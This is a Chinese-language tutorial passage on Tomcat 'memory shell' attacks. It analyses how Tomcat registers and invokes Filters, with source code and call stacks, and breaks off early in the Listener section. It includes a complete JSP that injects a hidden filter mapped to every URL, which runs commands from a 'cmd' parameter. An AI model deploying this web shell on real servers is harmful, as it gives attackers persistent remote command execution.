一文带你走入内存马

目录

深入研究Tomcat内存马的攻击技术

1. 简介

2. 环境

3. Tomcat解析配置文件

4. Filter

4.1 例子

4.2 Filter注册流程

4.3 Filter触发流程

4.4 Filter内存马

5. Listener

5.1 简介

5.2 例子

5.3 Listener流程分析

5.4 Listener内存马

6. Servlet

6.1 例子

6.2 分析

6.3 Servlet内存马

7. Valve

7.1 简介

7.2 例子

7.3 Valve内存马

9. 总结

10. 参考


深入研究Tomcat内存马的攻击技术

1. 简介

Tomcat内存马(Tomcat Memory Shell)是一种利用Apache Tomcat服务器的漏洞,将恶意代码注入Tomcat进程的内存中的攻击技术

2. 环境

以下代码基于Windows 10、Tomcat 9.0.73、JDK 1.8.0_66

3. Tomcat解析配置文件

在org/apache/catalina/core/StandardContext类的startInternal方法开始

fireLifecycleEvent(Lifecycle.CONFIGURE_START_EVENT, null);

经过如下函数调用栈:

configureStart:976, ContextConfig (org.apache.catalina.startup)
lifecycleEvent:304, ContextConfig (org.apache.catalina.startup)
fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util)
startInternal:4851, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)

来到org/apache/catalina/startup/ContextConfig类的configureStart方法,其中调用了webConfig方法
这个方法合并Tomcat全局web.xml、当前应用的web.xml、web-fragment.xml和web应用中的注解配置信息,然后调用configureContext方法将解析出的各种配置信息(如Servlet配置、Filter配置、Listener配置等)关联到Context对象中
configureContext方法:

private void configureContext(WebXml webxml) {
    // As far as possible, process in alphabetical order so it is easy to
    // check everything is present
    // Some validation depends on correct public ID
    // 设置公共ID
    context.setPublicId(webxml.getPublicId());

    // 设置版本信息
    // Everything else in order
    context.setEffectiveMajorVersion(webxml.getMajorVersion());
    context.setEffectiveMinorVersion(webxml.getMinorVersion());

    // 设置上下文参数
    for (Entry<String, String> entry : webxml.getContextParams().entrySet()) {
        context.addParameter(entry.getKey(), entry.getValue());
    }
    // 配置其他基本信息
    context.setDenyUncoveredHttpMethods(
            webxml.getDenyUncoveredHttpMethods());
    context.setDisplayName(webxml.getDisplayName());
    context.setDistributable(webxml.isDistributable());
    // 配置EJB引用
    for (ContextLocalEjb ejbLocalRef : webxml.getEjbLocalRefs().values()) {
        context.getNamingResources().addLocalEjb(ejbLocalRef);
    }
    for (ContextEjb ejbRef : webxml.getEjbRefs().values()) {
        context.getNamingResources().addEjb(ejbRef);
    }
    // 配置环境条目
    for (ContextEnvironment environment : webxml.getEnvEntries().values()) {
        context.getNamingResources().addEnvironment(environment);
    }
    // 配置错误页面
    for (ErrorPage errorPage : webxml.getErrorPages().values()) {
        context.addErrorPage(errorPage);
    }
    // 配置过滤器(filter)
    for (FilterDef filter : webxml.getFilters().values()) {
        if (filter.getAsyncSupported() == null) {
            filter.setAsyncSupported("false");
        }
        context.addFilterDef(filter);
    }
    // 配置过滤器映射(filter-mapping)
    for (FilterMap filterMap : webxml.getFilterMappings()) {
        context.addFilterMap(filterMap);
    }
    // 设置JSP配置描述符
    context.setJspConfigDescriptor(webxml.getJspConfigDescriptor());
    // 配置监听器
    for (String listener : webxml.getListeners()) {
        context.addApplicationListener(listener);
    }
    // 配置区域编码映射
    for (Entry<String, String> entry :
            webxml.getLocaleEncodingMappings().entrySet()) {
        context.addLocaleEncodingMappingParameter(entry.getKey(),
                entry.getValue());
    }
    // Prevents IAE
    // 设置登录配置
    if (webxml.getLoginConfig() != null) {
        context.setLoginConfig(webxml.getLoginConfig());
    }
    // 配置消息目标引用
    for (MessageDestinationRef mdr :
            webxml.getMessageDestinationRefs().values()) {
        context.getNamingResources().addMessageDestinationRef(mdr);
    }

    // messageDestinations were ignored in Tomcat 6, so ignore here

    context.setIgnoreAnnotations(webxml.isMetadataComplete());
    // 配置MIME映射
    for (Entry<String, String> entry :
            webxml.getMimeMappings().entrySet()) {
        context.addMimeMapping(entry.getKey(), entry.getValue());
    }
    // 配置请求字符编码和响应字符编码
    context.setRequestCharacterEncoding(webxml.getRequestCharacterEncoding());
    // Name is just used for ordering
    // 配置资源环境引用
    for (ContextResourceEnvRef resource :
            webxml.getResourceEnvRefs().values()) {
        context.getNamingResources().addResourceEnvRef(resource);
    }
    for (ContextResource resource : webxml.getResourceRefs().values()) {
        context.getNamingResources().addResource(resource);
    }
    // 配置资源引用
    context.setResponseCharacterEncoding(webxml.getResponseCharacterEncoding());
    boolean allAuthenticatedUsersIsAppRole =
            webxml.getSecurityRoles().contains(
                    SecurityConstraint.ROLE_ALL_AUTHENTICATED_USERS);
    // 配置安全约束
    for (SecurityConstraint constraint : webxml.getSecurityConstraints()) {
        if (allAuthenticatedUsersIsAppRole) {
            constraint.treatAllAuthenticatedUsersAsApplicationRole();
        }
        context.addConstraint(constraint);
    }
    // 配置安全角色
    for (String role : webxml.getSecurityRoles()) {
        context.addSecurityRole(role);
    }
    // 配置服务引用
    for (ContextService service : webxml.getServiceRefs().values()) {
        context.getNamingResources().addService(service);
    }
    // 配置Servlet
    for (ServletDef servlet : webxml.getServlets().values()) {
        Wrapper wrapper = context.createWrapper();
        // Description is ignored
        // Display name is ignored
        // Icons are ignored

        // jsp-file gets passed to the JSP Servlet as an init-param

        if (servlet.getLoadOnStartup() != null) {
            wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
        }
        if (servlet.getEnabled() != null) {
            wrapper.setEnabled(servlet.getEnabled().booleanValue());
        }
        wrapper.setName(servlet.getServletName());
        Map<String,String> params = servlet.getParameterMap();
        for (Entry<String, String> entry : params.entrySet()) {
            wrapper.addInitParameter(entry.getKey(), entry.getValue());
        }
        wrapper.setRunAs(servlet.getRunAs());
        Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
        for (SecurityRoleRef roleRef : roleRefs) {
            wrapper.addSecurityReference(
                    roleRef.getName(), roleRef.getLink());
        }
        wrapper.setServletClass(servlet.getServletClass());
        MultipartDef multipartdef = servlet.getMultipartDef();
        if (multipartdef != null) {
            long maxFileSize = -1;
            long maxRequestSize = -1;
            int fileSizeThreshold = 0;

            if(null != multipartdef.getMaxFileSize()) {
                maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
            }
            if(null != multipartdef.getMaxRequestSize()) {
                maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
            }
            if(null != multipartdef.getFileSizeThreshold()) {
                fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
            }

            wrapper.setMultipartConfigElement(new MultipartConfigElement(
                    multipartdef.getLocation(),
                    maxFileSize,
                    maxRequestSize,
                    fileSizeThreshold));
        }
        if (servlet.getAsyncSupported() != null) {
            wrapper.setAsyncSupported(
                    servlet.getAsyncSupported().booleanValue());
        }
        wrapper.setOverridable(servlet.isOverridable());
        context.addChild(wrapper);
    }
    // 配置Servlet映射
    for (Entry<String, String> entry :
            webxml.getServletMappings().entrySet()) {
        context.addServletMappingDecoded(entry.getKey(), entry.getValue());
    }
    // 设置会话配置
    SessionConfig sessionConfig = webxml.getSessionConfig();
    if (sessionConfig != null) {
        if (sessionConfig.getSessionTimeout() != null) {
            context.setSessionTimeout(
                    sessionConfig.getSessionTimeout().intValue());
        }
        SessionCookieConfig scc = context.getServletContext().getSessionCookieConfig();
        scc.setName(sessionConfig.getCookieName());
        scc.setDomain(sessionConfig.getCookieDomain());
        scc.setPath(sessionConfig.getCookiePath());
        scc.setComment(sessionConfig.getCookieComment());
        if (sessionConfig.getCookieHttpOnly() != null) {
            scc.setHttpOnly(sessionConfig.getCookieHttpOnly().booleanValue());
        }
        if (sessionConfig.getCookieSecure() != null) {
            scc.setSecure(sessionConfig.getCookieSecure().booleanValue());
        }
        if (sessionConfig.getCookieMaxAge() != null) {
            scc.setMaxAge(sessionConfig.getCookieMaxAge().intValue());
        }
        if (sessionConfig.getSessionTrackingModes().size() > 0) {
            context.getServletContext().setSessionTrackingModes(
                    sessionConfig.getSessionTrackingModes());
        }
    }

    // Context doesn't use version directly
    // 配置欢迎文件
    for (String welcomeFile : webxml.getWelcomeFiles()) {
        /*
            * The following will result in a welcome file of "" so don't add
            * that to the context
            * <welcome-file-list>
            *   <welcome-file/>
            * </welcome-file-list>
            */
        if (welcomeFile != null && welcomeFile.length() > 0) {
            context.addWelcomeFile(welcomeFile);
        }
    }

    // Do this last as it depends on servlets
    // 配置JSP属性组
    for (JspPropertyGroup jspPropertyGroup :
            webxml.getJspPropertyGroups()) {
        String jspServletName = context.findServletMapping("*.jsp");
        if (jspServletName == null) {
            jspServletName = "jsp";
        }
        if (context.findChild(jspServletName) != null) {
            for (String urlPattern : jspPropertyGroup.getUrlPatterns()) {
                context.addServletMappingDecoded(urlPattern, jspServletName, true);
            }
        } else {
            if(log.isDebugEnabled()) {
                for (String urlPattern : jspPropertyGroup.getUrlPatterns()) {
                    log.debug("Skipping " + urlPattern + " , no servlet " +
                            jspServletName);
                }
            }
        }
    }
    // 配置PostConstruct方法
    for (Entry<String, String> entry :
            webxml.getPostConstructMethods().entrySet()) {
        context.addPostConstructMethod(entry.getKey(), entry.getValue());
    }
    // 配置PreDestroy方法
    for (Entry<String, String> entry :
        webxml.getPreDestroyMethods().entrySet()) {
        context.addPreDestroyMethod(entry.getKey(), entry.getValue());
    }
}

函数调用栈:

configureContext:1447, ContextConfig (org.apache.catalina.startup)
webConfig:1330, ContextConfig (org.apache.catalina.startup)
configureStart:987, ContextConfig (org.apache.catalina.startup)
lifecycleEvent:304, ContextConfig (org.apache.catalina.startup)
fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util)
startInternal:4851, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:683, ContainerBase (org.apache.catalina.core)
addChild:658, ContainerBase (org.apache.catalina.core)
addChild:662, StandardHost (org.apache.catalina.core)
manageApp:1782, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invoke:294, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
createStandardContext:460, MBeanFactory (org.apache.catalina.mbeans)
createStandardContext:408, MBeanFactory (org.apache.catalina.mbeans)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invoke:294, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security)
doOperation:1471, RMIConnectionImpl (javax.management.remote.rmi)
access$300:76, RMIConnectionImpl (javax.management.remote.rmi)
run:1312, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi)
doPrivileged:-1, AccessController (java.security)
doPrivilegedOperation:1411, RMIConnectionImpl (javax.management.remote.rmi)
invoke:832, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
dispatch:323, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1966382949 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$25)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
回到startInternal方法,执行下面代码

// Call ServletContainerInitializers
for (Map.Entry<ServletContainerInitializer, Set<Class<?>>> entry : initializers.entrySet()) {
    try {
        entry.getKey().onStartup(entry.getValue(), getServletContext());
    } catch (ServletException e) {
        log.error(sm.getString("standardContext.sciFail"), e);
        ok = false;
        break;
    }
}

这段代码的作用是遍历已注册的ServletContainerInitializer,并依次调用它们的onStartup方法。通过这种方式,可以在Servlet容器启动时执行一些初始化任务,例如注册Servlet、Filter、Listener等。
最终来到org/apache/catalina/core/ApplicationContext的addFilter方法

private FilterRegistration.Dynamic addFilter(String filterName, String filterClass, Filter filter)
        throws IllegalStateException {
    // 参数验证
    if (filterName == null || filterName.equals("")) {
        throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", filterName));
    }
    // 状态检查
    // TODO Spec breaking enhancement to ignore this restriction
    checkState("applicationContext.addFilter.ise");
    // 查找FilterDef
    FilterDef filterDef = context.findFilterDef(filterName);

    // Assume a 'complete' FilterRegistration is one that has a class and
    // a name
    // 如果查找未成功,创建一个新的FilterDef
    if (filterDef == null) {
        filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        context.addFilterDef(filterDef);
    } else {
        // 如果FilterDef对象已经具有filterName和filterClass
        if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
            return null;
        }
    }
    // 设置filterDef属性
    if (filter == null) {
        filterDef.setFilterClass(filterClass);
    } else {
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
    }
    // 创建了ApplicationFilterRegistration对象
    return new ApplicationFilterRegistration(filterDef, context);
}

该段代码的作用是向应用程序上下文中添加过滤器,并返回一个FilterRegistration.Dynamic对象,用于进一步配置和管理该过滤器。
函数调用栈:

addFilter:774, ApplicationContext (org.apache.catalina.core)
addFilter:761, ApplicationContext (org.apache.catalina.core)
addFilter:434, ApplicationContextFacade (org.apache.catalina.core)
<init>:109, WsServerContainer (org.apache.tomcat.websocket.server)
init:137, WsSci (org.apache.tomcat.websocket.server)
onStartup:49, WsSci (org.apache.tomcat.websocket.server)
startInternal:4929, StandardContext (org.apache.catalina.core)

filterMaps的添加过程,在org/apache/catalina/core/ApplicationFilterRegistration的addMappingForUrlPatterns方法中

@Override
public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter,
        String... urlPatterns) {

    FilterMap filterMap = new FilterMap();

    filterMap.setFilterName(filterDef.getFilterName());

    if (dispatcherTypes != null) {
        for (DispatcherType dispatcherType : dispatcherTypes) {
            filterMap.setDispatcher(dispatcherType.name());
        }
    }

    if (urlPatterns != null) {
        // % decoded (if necessary) using UTF-8
        for (String urlPattern : urlPatterns) {
            filterMap.addURLPattern(urlPattern);
        }

        if (isMatchAfter) {
            context.addFilterMap(filterMap);
        } else {
            context.addFilterMapBefore(filterMap);
        }
    }
    // else error?

}

函数调用栈:

addMappingForUrlPatterns:83, ApplicationFilterRegistration (org.apache.catalina.core)
<init>:116, WsServerContainer (org.apache.tomcat.websocket.server)
init:137, WsSci (org.apache.tomcat.websocket.server)
onStartup:49, WsSci (org.apache.tomcat.websocket.server)
startInternal:4929, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)

经过上面的解析,此时filterDefs、filterMaps中已经有数据了,并且filterMaps是根据filterDefs来的

接着来到startInternal方法,调用filterStart

// Configure and call application filters
if (ok) {
    if (!filterStart()) {
        // ...
    }

此时filterConfigs中还没有数据,经过filterStart方法后,就有了数据
函数调用栈:

filterStart:4331, StandardContext (org.apache.catalina.core)
startInternal:4965, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:683, ContainerBase (org.apache.catalina.core)

4. Filter

4.1 例子

创建一个简单的Java Web项目,添加一个Filter,然后在web.xml中配置Filter,启动项目,访问一个Servlet,查看控制台输出的日志,可以看到Filter的init方法和doFilter方法被调用了。另外在停止Tomcat时,也会调用Filter的destroy方法。
Filter示例如下:

package org.example.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(value = "/hello", filterName = "hello")
public class HelloFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter init");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("do filter");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("filter destory");
    }
}
web.xml配置如下:

<filter>
    <filter-name>hello</filter-name>
    <filter-class>org.example.filter.HelloFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>hello</filter-name>
    <url-pattern>/hello</url-pattern>
</filter-mapping>

Filter的init方法和doFilter方法是谁调用的呢?Filter是怎么被调用的呢?

4.2 Filter注册流程

根据上一节描述的Tomcat配置文件解析过程,在应用程序中动态添加一个filter的过程如下:

  • 调用ApplicationContext的addFilter方法创建FilterDef对象
  • 调用StandardContext的filterStart方法得到filterConfigs
  • 调用ApplicationFilterRegistration的addMappingForUrlPatterns生成filterMaps(可以将自定义的filter放在filterMaps中的第一位,有两种方法:a.手动修改filterMaps的顺序 b.调用StandardContext的addFilterMapBefore方法将该filter放入filterMaps第一位)

另外,在实现内存马的时候,可以模仿以上函数的代码构建filterDefs、filterMaps、filterConfigs这三个变量

4.3 Filter触发流程

根据Tomcat版本添加Maven依赖

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.73</version>
</dependency>

在自定义Filter的doFilter方法中下断点,然后启动Tomcat,访问Servlet,可以看到断点被触发了,查看调用栈,可以看到调用链如下:

doFilter:16, HelloFilter (org.example.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:167, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:673, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:389, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

首先在org/apache/catalina/core/StandardWrapperValve类的invoke方法中,分两步:
第一步如下代码构建了一条filterChain

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

构建好链后,第二步调用filterChain的doFilter方法,如下代码:

filterChain.doFilter(request.getRequest(), response.getResponse());

先分析ApplicationFilterFactory.createFilterChain

public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {

    // If there is no servlet to execute, return null
    if (servlet == null) {
        return null;
    }

    // Create and initialize a filter chain object
    ApplicationFilterChain filterChain = null;
    if (request instanceof Request) {
        Request req = (Request) request;
        if (Globals.IS_SECURITY_ENABLED) {
            // Security: Do not recycle
            filterChain = new ApplicationFilterChain();
        } else {
            filterChain = (ApplicationFilterChain) req.getFilterChain();
            if (filterChain == null) {
                filterChain = new ApplicationFilterChain();
                req.setFilterChain(filterChain);
            }
        }
    } else {
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();
    }

    filterChain.setServlet(servlet);
    filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

    // Acquire the filter mappings for this Context
    StandardContext context = (StandardContext) wrapper.getParent();
    FilterMap filterMaps[] = context.findFilterMaps();

    // If there are no filter mappings, we are done
    if ((filterMaps == null) || (filterMaps.length == 0)) {
        return filterChain;
    }

    // Acquire the information we will need to match filter mappings
    DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

    String requestPath = null;
    Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
    if (attribute != null) {
        requestPath = attribute.toString();
    }

    String servletName = wrapper.getName();

    // Add the relevant path-mapped filters to this filter chain
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMap, requestPath)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context
                .findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Add filters that match on servlet name second
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersServlet(filterMap, servletName)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context
                .findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Return the completed filter chain
    return filterChain;
}
第一:尝试从request中获取filterChain,如果获取不到,就创建一个新的filterChain

第二:设置servlet,获取filterMaps

第三:将相关的路径映射过滤器添加到此过滤器链中

filterMap.getFilterName得到的是name,而context.findFilterConfig是根据name找filterConfigs中对应的值
进入addFilter

void addFilter(ApplicationFilterConfig filterConfig) {

    // Prevent the same filter being added multiple times
    for (ApplicationFilterConfig filter : filters) {
        if (filter == filterConfig) {
            return;
        }
    }

    if (n == filters.length) {
        ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig[n + INCREMENT];
        System.arraycopy(filters, 0, newFilters, 0, n);
        filters = newFilters;
    }
    filters[n++] = filterConfig;

}

 完成一轮for循环后,继续下一轮,直到所有符合条件的filterMap都添加到filterChain中
第四:添加与服务程序名称相匹配的筛选器,即第二个for循环
第五:返回完成的filterChain

接下来返回StandardWrapperValve.invoke方法,调用filterChain的doFilter方法

进入internalDoFilter方法
获取filterChain中的第一个filter


然后调用filter的doFilter方法

filter.doFilter(request, response, this);

进入该filter的doFilter方法就来到了我们写的函数

总结

  • 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
  • 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  • 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  • filterChain 中调用 internalDoFilter 遍历获取 chain 中的FilterConfig,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法

关键
这里面存在关键的三个变量:filterMaps、filterConfigs、filterDefs, 它们都从StandardContext中获取


filterMaps
在StandardContext中添加filterMap的方法

@Override
public void addFilterMap(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.add(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}
@Override
public void addFilterMapBefore(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.addBefore(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}

filterConfigs
在StandardContext中添加filterConfig的方法

public boolean filterStart() {

    if (getLogger().isDebugEnabled()) {
        getLogger().debug("Starting filters");
    }
    // Instantiate and record a FilterConfig for each defined filter
    boolean ok = true;
    synchronized (filterConfigs) {
        filterConfigs.clear();
        for (Entry<String, FilterDef> entry : filterDefs.entrySet()) {
            String name = entry.getKey();
            if (getLogger().isDebugEnabled()) {
                getLogger().debug(" Starting filter '" + name + "'");
            }
            try {
                ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
                // 这里可以往filterConfigs中添加filterConfig
                filterConfigs.put(name, filterConfig);
            } catch (Throwable t) {
                t = ExceptionUtils.unwrapInvocationTargetException(t);
                ExceptionUtils.handleThrowable(t);
                getLogger().error(sm.getString("standardContext.filterStart", name), t);
                ok = false;
            }
        }
    }

    return ok;
}
 

这个方法在Tomcat启动时会运行,遍历filterDefs,然后根据filterDefs中的值创建filterConfig,然后将filterConfig添加到filterConfigs中


filterDefs
在StandardContext中添加filterDef的方法

@Override
public void addFilterDef(FilterDef filterDef) {

    synchronized (filterDefs) {
        filterDefs.put(filterDef.getFilterName(), filterDef);
    }
    fireContainerEvent("addFilterDef", filterDef);

}

而filterDefs是从配置文件中解析得来的

4.4 Filter内存马

filterMemshell.jsp:

<%--
Created by IntelliJ IDEA.
User: Dili
Date: 2023/9/18
Time: 16:30
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>

<%
try {
    // 获取应用程序上下文对象(ApplicationContextFacade)
    ServletContext servletContext = request.getSession().getServletContext();

    // 获取ApplicationContextFacade的context属性,即ApplicationContext
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    // 获取ApplicationContext的context属性,即StandardContext
    Field standContextField = applicationContext.getClass().getDeclaredField("context");
    standContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standContextField.get(applicationContext);

    // 获取StandardContext的filterConfigs属性,即filterConfigs
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);

    // 创建my filter 需要先判断是否已经存在同名的filter
    String myFiltername = "filtershell";
    if(filterConfigs.get(myFiltername) == null) {
        Filter myFilter = new Filter() {

            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                Filter.super.init(filterConfig);
            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                // shell
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if(req.getParameter("cmd") != null) {
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd", "/C", req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes, 0, len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {
                Filter.super.destroy();
            }
        };

        // 创建filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(myFilter);
        filterDef.setFilterName(myFiltername);
        filterDef.setFilterClass(myFilter.getClass().getName());

        // 将filterDef添加至filterDefs
        standardContext.addFilterDef(filterDef);

        // 创建filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(myFiltername);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        // 将filterMap添加至filterMaps(第一位)
        standardContext.addFilterMapBefore(filterMap);

        // 创建ApplicationFilterConfig对象
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

        filterConfigs.put(myFiltername, filterConfig);

    }
    System.out.println("Success!");
} catch (Exception e) {
    e.printStackTrace();
}
%>

访问http://localhost:8090/Tomcat_memshell_Web_exploded/filterMemshell.jsp
执行完第一行得到ApplicationContextFacade对象

执行到最后


成功将自定义的filter添加到filterConfigs、filterMaps、filterDefs中
此时内存马成功写入,接下来就是访问相应的url生成filterChain,调用自定义的filter,触发命令执行

5. Listener

5.1 简介

常用监听器:

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

这些类接口都是java.util.EventListener的子接口,以ServletRequestListener为例,它的接口定义如下:

public interface ServletRequestListener extends EventListener {


    /**
     * Receives notification that a ServletRequest is about to go out
     * of scope of the web application.
     *
     * @param sre the ServletRequestEvent containing the ServletRequest
     * and the ServletContext representing the web application
     */
    public void requestDestroyed(ServletRequestEvent sre);

    /**
     * Receives notification that a ServletRequest is about to come
     * into scope of the web application.
     *
     * @param sre the ServletRequestEvent containing the ServletRequest
     * and the ServletContext representing the web application
     */
    public void requestInitialized(ServletRequestEvent sre);
}

这个监听器用于监听ServletRequest的创建和销毁,当ServletRequest创建时,会调用requestInitialized方法,当ServletRequest销毁时,会调用requestDestroyed方法。

5.2 例子

创建HelloListener类,实现ServletContextListener接口,重写contextInitialized方法和contextDestroyed方法

package org.example.listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

